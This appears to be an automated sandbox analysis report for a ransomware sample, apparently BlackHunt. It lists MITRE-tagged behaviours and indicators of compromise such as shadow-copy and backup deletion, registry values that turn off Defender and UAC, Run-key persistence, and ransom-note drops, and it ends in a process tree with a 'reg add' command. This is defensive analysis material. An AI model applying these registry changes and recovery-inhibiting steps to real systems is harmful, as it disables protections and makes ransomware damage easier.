b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f

Data Destruction

T1485

pid	Process
6028	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5576	bcdedit.exe
5584	bcdedit.exe

Renames multiple (757) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6128	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	cmd.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\U:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\Y:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\T:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\H:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\M:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\W:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\S:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\J:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\E:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\N:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\R:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\L:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\B:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\Q:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\I:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\O:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\G:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\K:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\Z:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\V:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\A:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened (read-only)	\??\X:	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.xml	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\AppCenter_R.aapp	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bn.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.access	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\santuario.md	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\requests\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\US_export_policy.jar	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\vocaroo.luac	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management-agent.jar	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\modules\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\files\dev\cef\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\SkipClose.WTV	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libffi.md	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroLayoutRecognizer\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\local_policy.jar	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jaccess.jar	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansRegular.ttf	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_Private.key	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.hta	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.txt	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1508	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5752	vssadmin.exe
1408	vssadmin.exe
3368	vssadmin.exe
3620	vssadmin.exe
824	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeRestorePrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeBackupPrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeTakeOwnershipPrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeAuditPrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeSecurityPrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeIncBasePriorityPrivilege	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Token: SeBackupPrivilege	1628	vssvc.exe
Token: SeRestorePrivilege	1628	vssvc.exe
Token: SeAuditPrivilege	1628	vssvc.exe
Token: SeBackupPrivilege	5516	wbengine.exe
Token: SeRestorePrivilege	5516	wbengine.exe
Token: SeSecurityPrivilege	5516	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 3952	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	91
PID 3568 wrote to memory of 3952	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	91
PID 3568 wrote to memory of 2392	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	93
PID 3568 wrote to memory of 2392	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	93
PID 3568 wrote to memory of 4076	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	95
PID 3568 wrote to memory of 4076	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	95
PID 3568 wrote to memory of 3672	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	97
PID 3568 wrote to memory of 3672	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	97
PID 3568 wrote to memory of 1096	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	173
PID 3568 wrote to memory of 1096	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	173
PID 3952 wrote to memory of 3316	3952	cmd.exe	101
PID 2392 wrote to memory of 2736	2392	reg.exe	104
PID 3952 wrote to memory of 3316	3952	cmd.exe	101
PID 2392 wrote to memory of 2736	2392	reg.exe	104
PID 3672 wrote to memory of 2200	3672	cmd.exe	103
PID 3672 wrote to memory of 2200	3672	cmd.exe	103
PID 1096 wrote to memory of 4316	1096	reg.exe	202
PID 1096 wrote to memory of 4316	1096	reg.exe	202
PID 4076 wrote to memory of 448	4076	cmd.exe	105
PID 4076 wrote to memory of 448	4076	cmd.exe	105
PID 3568 wrote to memory of 2176	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	106
PID 3568 wrote to memory of 2176	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	106
PID 3568 wrote to memory of 4080	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	108
PID 3568 wrote to memory of 4080	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	108
PID 3568 wrote to memory of 4192	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	110
PID 3568 wrote to memory of 4192	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	110
PID 3568 wrote to memory of 1684	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	111
PID 3568 wrote to memory of 1684	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	111
PID 3568 wrote to memory of 3488	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	114
PID 3568 wrote to memory of 3488	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	114
PID 3568 wrote to memory of 1896	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	123
PID 3568 wrote to memory of 1896	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	123
PID 3568 wrote to memory of 5032	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	122
PID 3568 wrote to memory of 5032	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	122
PID 3568 wrote to memory of 2340	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	115
PID 3568 wrote to memory of 2340	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	115
PID 3568 wrote to memory of 3532	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	119
PID 3568 wrote to memory of 3532	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	119
PID 3568 wrote to memory of 4916	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	125
PID 3568 wrote to memory of 4916	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	125
PID 3568 wrote to memory of 4744	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	124
PID 3568 wrote to memory of 4744	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	124
PID 3568 wrote to memory of 3460	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	127
PID 3568 wrote to memory of 3460	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	127
PID 3568 wrote to memory of 3004	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	130
PID 3568 wrote to memory of 3004	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	130
PID 2176 wrote to memory of 2212	2176	cmd.exe	133
PID 2176 wrote to memory of 2212	2176	cmd.exe	133
PID 4080 wrote to memory of 2804	4080	cmd.exe	134
PID 4080 wrote to memory of 2804	4080	cmd.exe	134
PID 4192 wrote to memory of 772	4192	cmd.exe	135
PID 4192 wrote to memory of 772	4192	cmd.exe	135
PID 3568 wrote to memory of 3684	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	140
PID 3568 wrote to memory of 3684	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	140
PID 1684 wrote to memory of 216	1684	cmd.exe	137
PID 1684 wrote to memory of 216	1684	cmd.exe	137
PID 3568 wrote to memory of 464	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	136
PID 3568 wrote to memory of 464	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	136
PID 3568 wrote to memory of 960	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	142
PID 3568 wrote to memory of 960	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	142
PID 3568 wrote to memory of 3704	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	141
PID 3568 wrote to memory of 3704	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	141
PID 3568 wrote to memory of 1472	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	156
PID 3568 wrote to memory of 1472	3568	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe	156

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe
"C:\Users\Admin\AppData\Local\Temp\b23f60fc7a099e393b06616d1e7f323780394936d1b7d5b81a883332b90edc4f.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
